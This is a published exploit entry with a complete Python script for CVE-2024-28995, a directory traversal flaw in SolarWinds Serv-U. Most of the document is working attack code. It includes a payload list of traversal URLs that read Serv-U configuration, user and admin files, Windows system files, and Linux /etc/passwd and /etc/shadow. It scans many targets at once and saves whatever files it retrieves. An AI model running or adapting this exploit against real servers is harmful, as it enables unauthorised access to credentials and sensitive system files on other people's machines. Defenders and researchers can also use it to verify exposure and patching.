SolarWinds Serv-U 15.4.2 HF1 - Directory Traversal

EDB-ID:

52311




Platform:

Multiple

Date:

2025-05-29


# Exploit Title: SolarWinds Serv-U 15.4.2 HF1 - Directory Traversal 
# Date: 2025-05-28
# Exploit Author: @ibrahimsql
# Exploit Author's github: https://github.com/ibrahimsql
# Vendor Homepage: https://www.solarwinds.com/serv-u-managed-file-transfer-server
# Software Link: https://www.solarwinds.com/serv-u-managed-file-transfer-server/registration
# Version: <= 15.4.2 HF1
# Tested on: Kali Linux 2024.1
# CVE: CVE-2024-28995
# Description:
# SolarWinds Serv-U was susceptible to a directory traversal vulnerability that would allow
# attackers to read sensitive files on the host machine. This exploit demonstrates multiple
# path traversal techniques to access Serv-U log files and other system files on both
# Windows and Linux systems.
#
# References:
# - https://nvd.nist.gov/vuln/detail/cve-2024-28995
# - https://www.rapid7.com/blog/post/2024/06/11/etr-cve-2024-28995-trivially-exploitable-information-disclosure-vulnerability-in-solarwinds-serv-u/
# - https://thehackernews.com/2024/06/solarwinds-serv-u-vulnerability-under.html

# Requirements: urllib3>=1.26.0 , colorama>=0.4.4 , requests>=2.25.0


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import argparse
import concurrent.futures
import json
import os
import re
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse

import requests
from colorama import Fore, Back, Style, init

# Initialize colorama
init(autoreset=True)

# Disable SSL warnings
try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
    pass

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

BANNER = rf'''
{Fore.CYAN}
   ______     _______     ____   ___ ____  _  _        ____  ___  ___   ___  ____  
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \( _ )/ _ \ / _ \| ___| 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) / _ \ (_) | (_) |___ \ 
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/ (_) \__, |\__, |___) |
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____\___/  /_/   /_/|____/ 
{Fore.YELLOW}                                                             
       SolarWinds Serv-U Directory Traversal Exploit                         
{Fore.RED}       CVE-2024-28995 by @ibrahimsql                                 
{Style.RESET_ALL}
'''

class ScanResult:
    def __init__(self, url, is_vulnerable=False, version=None, os_type=None, file_content=None, path=None):
        self.url = url
        self.is_vulnerable = is_vulnerable
        self.version = version
        self.os_type = os_type
        self.file_content = file_content
        self.path = path
        self.timestamp = time.strftime("%Y-%m-%d %H:%M:%S")

    def to_dict(self):
        return {
            "url": self.url,
            "is_vulnerable": self.is_vulnerable,
            "version": self.version,
            "os_type": self.os_type,
            "path": self.path,
            "timestamp": self.timestamp
        }

def print_banner():
    print(BANNER)

def normalize_url(url):
    """Normalize URL to ensure it has http/https protocol."""
    if not url.startswith('http'):
        url = f"https://{url}"
    return url.rstrip('/')

def extract_server_version(headers):
    """Extract Serv-U version from server headers if available."""
    if 'Server' in headers:
        server_header = headers['Server']
        # Look for Serv-U version pattern
        match = re.search(r'Serv-U/(\d+\.\d+\.\d+)', server_header)
        if match:
            return match.group(1)
    return None

def is_vulnerable_version(version):
    """Check if the detected version is vulnerable (15.4.2 HF1 or lower)."""
    if not version:
        return None
    
    try:
        # Split version numbers
        major, minor, patch = map(int, version.split('.'))
        
        # Vulnerable if lower than 15.4.2 HF2
        if major < 15:
            return True
        elif major == 15:
            if minor < 4:
                return True
            elif minor == 4:
                if patch <= 2:  # We're assuming patch 2 is 15.4.2 HF1 which is vulnerable
                    return True
    except:
        pass
    
    return False

def get_request(url, timeout=15):
    """Make a GET request to the specified URL."""
    try:
        response = requests.get(url, verify=False, timeout=timeout, allow_redirects=False)
        return response
    except requests.RequestException as e:
        return None

def detect_os_type(content):
    """Detect the operating system type from the file content."""
    if any(indicator in content for indicator in ["root:", "bin:x:", "daemon:", "/etc/", "/home/", "/var/"]):
        return "Linux"
    elif any(indicator in content for indicator in ["[fonts]", "[extensions]", "[Mail]", "Windows", "ProgramData", "Program Files"]):
        return "Windows"
    return None

def get_default_payloads():
    """Return a list of directory traversal payloads specific to CVE-2024-28995."""
    return [
        # Windows payloads - Serv-U specific files
        {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log"},
        {"path": "/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt"},
        {"path": "/?InternalDir=\\..\\..\\..\\..\\ProgramData\\RhinoSoft\\Serv-U\\&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt2"},
        {"path": "/?InternalDir=../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt3"},
        {"path": "/?InternalDir=../../../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Deep"},
        
        {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUStartupLog.txt", "name": "Serv-U Startup Log Alt4"},
        {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U.Log", "name": "Serv-U Log"},
        {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServULog.txt", "name": "Serv-U Log Alt"},
        {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUErrorLog.txt", "name": "Serv-U Error Log"},
        {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-ErrorLog.txt", "name": "Serv-U Error Log Alt"},
        {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U.ini", "name": "Serv-U Config"},
        {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUAdmin.ini", "name": "Serv-U Admin Config"},
        {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/Users/&InternalFile=Users.txt", "name": "Serv-U Users"},
        {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/Users/&InternalFile=UserAccounts.txt", "name": "Serv-U User Accounts"},
        
        # Verify Windows with various system files
        {"path": "/?InternalDir=/../../../../windows&InternalFile=win.ini", "name": "Windows ini"},
        {"path": "/?InternalDir=\\..\\..\\..\\..\\windows&InternalFile=win.ini", "name": "Windows ini Alt"},
        {"path": "/?InternalDir=../../../../windows&InternalFile=win.ini", "name": "Windows ini Alt2"},
        {"path": "/?InternalDir=../../../../../../windows&InternalFile=win.ini", "name": "Windows ini Deep"},
        {"path": "/?InternalDir=/./../../../Windows/system.ini", "name": "Windows system.ini"},
        {"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=drivers.ini", "name": "Windows drivers.ini"},
        {"path": "/?InternalDir=/./../../../Windows/System32/drivers/etc/&InternalFile=hosts", "name": "Windows hosts"},
        {"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=config.nt", "name": "Windows config.nt"},
        {"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=ntuser.dat", "name": "Windows ntuser.dat"},
        {"path": "/?InternalDir=/./../../../Windows/boot.ini", "name": "Windows boot.ini"},
        
        # Verify Linux with various system files
        {"path": "/?InternalDir=\\..\\..\\..\\..\\etc&InternalFile=passwd", "name": "Linux passwd"},
        {"path": "/?InternalDir=/../../../../etc^&InternalFile=passwd", "name": "Linux passwd Alt"},
        {"path": "/?InternalDir=\\..\\..\\..\\..\\etc/passwd", "name": "Linux passwd Alt2"},
        {"path": "/?InternalDir=../../../../etc&InternalFile=passwd", "name": "Linux passwd Alt3"},
        {"path": "/?InternalDir=../../../../../../etc&InternalFile=passwd", "name": "Linux passwd Deep"},
        {"path": "/?InternalDir=/./../../../etc/&InternalFile=shadow", "name": "Linux shadow"},
        {"path": "/?InternalDir=/./../../../etc/&InternalFile=hosts", "name": "Linux hosts"},
        {"path": "/?InternalDir=/./../../../etc/&InternalFile=hostname", "name": "Linux hostname"},
        {"path": "/?InternalDir=/./../../../etc/&InternalFile=issue", "name": "Linux issue"},
        {"path": "/?InternalDir=/./../../../etc/&InternalFile=os-release", "name": "Linux os-release"}
    ]

def create_custom_payload(directory, filename):
    """Create a custom payload with the specified directory and filename."""
    # Try both encoding styles
    payloads = [
        {"path": f"/?InternalDir=/./../../../{directory}&InternalFile={filename}", "name": f"Custom {filename}"},
        {"path": f"/?InternalDir=/../../../../{directory}^&InternalFile={filename}", "name": f"Custom {filename} Alt"},
        {"path": f"/?InternalDir=\\..\\..\\..\\..\\{directory}&InternalFile={filename}", "name": f"Custom {filename} Alt2"}
    ]
    return payloads

def load_wordlist(wordlist_path):
    """Load custom paths from a wordlist file."""
    payloads = []
    try:
        with open(wordlist_path, 'r') as f:
            for line in f:
                line = line.strip()
                if line and not line.startswith('#'):
                    # Check if the line contains a directory and file separated by a delimiter
                    if ':' in line:
                        directory, filename = line.split(':', 1)
                        payloads.extend(create_custom_payload(directory, filename))
                    else:
                        # Assume it's a complete path
                        payloads.append({"path": line, "name": f"Wordlist: {line[:20]}..."})
        return payloads
    except Exception as e:
        print(f"{Fore.RED}[!] Error loading wordlist: {e}{Style.RESET_ALL}")
        return []

def scan_target(url, custom_payloads=None):
    """Scan a target URL for the CVE-2024-28995 vulnerability."""
    url = normalize_url(url)
    result = ScanResult(url)
    
    # Try to get server version first
    try:
        response = get_request(url)
        if response and response.headers:
            result.version = extract_server_version(response.headers)
            vulnerable_version = is_vulnerable_version(result.version)
            
            if vulnerable_version is False:
                print(f"{Fore.YELLOW}[*] {url} - Serv-U version {result.version} appears to be patched{Style.RESET_ALL}")
                # Still continue scanning as version detection may not be reliable
    except Exception as e:
        pass
    
    # Get all payloads to try
    payloads = get_default_payloads()
    if custom_payloads:
        payloads.extend(custom_payloads)
    
    # Try each payload
    for payload in payloads:
        full_url = f"{url}{payload['path']}"
        try:
            print(f"{Fore.BLUE}[*] Trying: {payload['name']} on {url}{Style.RESET_ALL}")
            response = get_request(full_url)
            
            if response and response.status_code == 200:
                content = response.text
                
                # Check if the response contains meaningful content
                if len(content) > 100:  # Arbitrary threshold to filter out error pages
                    os_type = detect_os_type(content)
                    if os_type:
                        result.is_vulnerable = True
                        result.os_type = os_type
                        result.file_content = content
                        result.path = payload['path']
                        
                        print(f"{Fore.GREEN}[+] {Fore.RED}VULNERABLE: {url} - {payload['name']} - Detected {os_type} system{Style.RESET_ALL}")
                        
                        # Successful match - no need to try more payloads
                        return result
        except Exception as e:
            continue
    
    if not result.is_vulnerable:
        print(f"{Fore.RED}[-] Not vulnerable: {url}{Style.RESET_ALL}")
    
    return result

def scan_multiple_targets(targets, custom_dir=None, custom_file=None, wordlist=None):
    """Scan multiple targets using thread pool."""
    results = []
    custom_payloads = []
    
    # Add custom payloads if specified
    if custom_dir and custom_file:
        custom_payloads.extend(create_custom_payload(custom_dir, custom_file))
    
    # Add wordlist payloads if specified
    if wordlist:
        custom_payloads.extend(load_wordlist(wordlist))
    
    print(f"{Fore.CYAN}[*] Starting scan of {len(targets)} targets with {len(custom_payloads) + len(get_default_payloads())} payloads{Style.RESET_ALL}")
    
    # Use fixed thread count of 10
    with ThreadPoolExecutor(max_workers=10) as executor:
        future_to_url = {executor.submit(scan_target, target, custom_payloads): target for target in targets}
        
        for future in as_completed(future_to_url):
            try:
                result = future.result()
                results.append(result)
            except Exception as e:
                print(f"{Fore.RED}[!] Error scanning {future_to_url[future]}: {e}{Style.RESET_ALL}")
    
    return results

def save_results(results, output_file):
    """Save scan results to a JSON file."""
    output_data = [result.to_dict() for result in results]
    
    try:
        with open(output_file, 'w') as f:
            json.dump(output_data, f, indent=2)
        print(f"{Fore.GREEN}[+] Results saved to {output_file}{Style.RESET_ALL}")
    except Exception as e:
        print(f"{Fore.RED}[!] Error saving results: {e}{Style.RESET_ALL}")

def save_vulnerable_content(result, output_dir):
    """Save the vulnerable file content to a file."""
    if not os.path.exists(output_dir):
        os.makedirs(output_dir)
    
    # Create a safe filename from the URL
    parsed_url = urlparse(result.url)
    safe_filename = f"{parsed_url.netloc.replace(':', '_')}.txt"
    output_path = os.path.join(output_dir, safe_filename)
    
    try:
        with open(output_path, 'w') as f:
            f.write(f"URL: {result.url}\n")
            f.write(f"Path: {result.path}\n")
            f.write(f"Version: {result.version or 'Unknown'}\n")
            f.write(f"OS Type: {result.os_type or 'Unknown'}\n")
            f.write(f"Timestamp: {result.timestamp}\n")
            f.write("\n--- File Content ---\n")
            f.write(result.file_content)
        
        print(f"{Fore.GREEN}[+] Saved vulnerable content to {output_path}{Style.RESET_ALL}")
    except Exception as e:
        print(f"{Fore.RED}[!] Error saving content: {e}{Style.RESET_ALL}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-28995 - SolarWinds Serv-U Directory Traversal Scanner")
    parser.add_argument("-u", "--url", help="Target URL")
    parser.add_argument("-f", "--file", help="File containing a list of URLs to scan")
    parser.add_argument("-d", "--dir", help="Custom directory path to read (e.g., ProgramData/RhinoSoft/Serv-U/)")
    parser.add_argument("-n", "--filename", help="Custom filename to read (e.g., Serv-U-StartupLog.txt)")
    parser.add_argument("-w", "--wordlist", help="Path to wordlist containing custom paths to try")
    parser.add_argument("-o", "--output", help="Output JSON file to save results")
    
    args = parser.parse_args()
    
    print_banner()
    
    # Validate arguments
    if not args.url and not args.file:
        parser.print_help()
        print(f"\n{Fore.RED}[!] Error: Either -u/--url or -f/--file is required{Style.RESET_ALL}")
        sys.exit(1)
    
    targets = []
    
    # Get targets
    if args.url:
        targets.append(args.url)
    
    if args.file:
        try:
            with open(args.file, "r") as f:
                targets.extend([line.strip() for line in f.readlines() if line.strip()])
        except Exception as e:
            print(f"{Fore.RED}[!] Error reading file {args.file}: {e}{Style.RESET_ALL}")
            sys.exit(1)
    
    # Deduplicate targets
    targets = list(set(targets))
    
    if not targets:
        print(f"{Fore.RED}[!] No valid targets provided.{Style.RESET_ALL}")
        sys.exit(1)
    
    print(f"{Fore.CYAN}[*] Loaded {len(targets)} target(s){Style.RESET_ALL}")
    
    # Set output file
    output_file = args.output or f"cve_2024_28995_results_{time.strftime('%Y%m%d_%H%M%S')}.json"
    
    # Start scanning
    results = scan_multiple_targets(targets, args.dir, args.filename, args.wordlist)
    
    # Process results
    vulnerable_count = sum(1 for result in results if result.is_vulnerable)
    
    print(f"\n{Fore.CYAN}[*] Scan Summary:{Style.RESET_ALL}")
    print(f"{Fore.CYAN}[*] Total targets: {len(results)}{Style.RESET_ALL}")
    print(f"{Fore.GREEN if vulnerable_count > 0 else Fore.RED}[*] Vulnerable targets: {vulnerable_count}{Style.RESET_ALL}")
    
    # Save results
    save_results(results, output_file)
    
    # Save vulnerable file contents
    for result in results:
        if result.is_vulnerable and result.file_content:
            save_vulnerable_content(result, "vulnerable_files")
    
    print(f"\n{Fore.GREEN}[+] Scan completed successfully!{Style.RESET_ALL}")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print(f"\n{Fore.YELLOW}[!] Scan interrupted by user{Style.RESET_ALL}")
        sys.exit(0)
    except Exception as e:
        print(f"\n{Fore.RED}[!] An error occurred: {e}{Style.RESET_ALL}")
        sys.exit(1)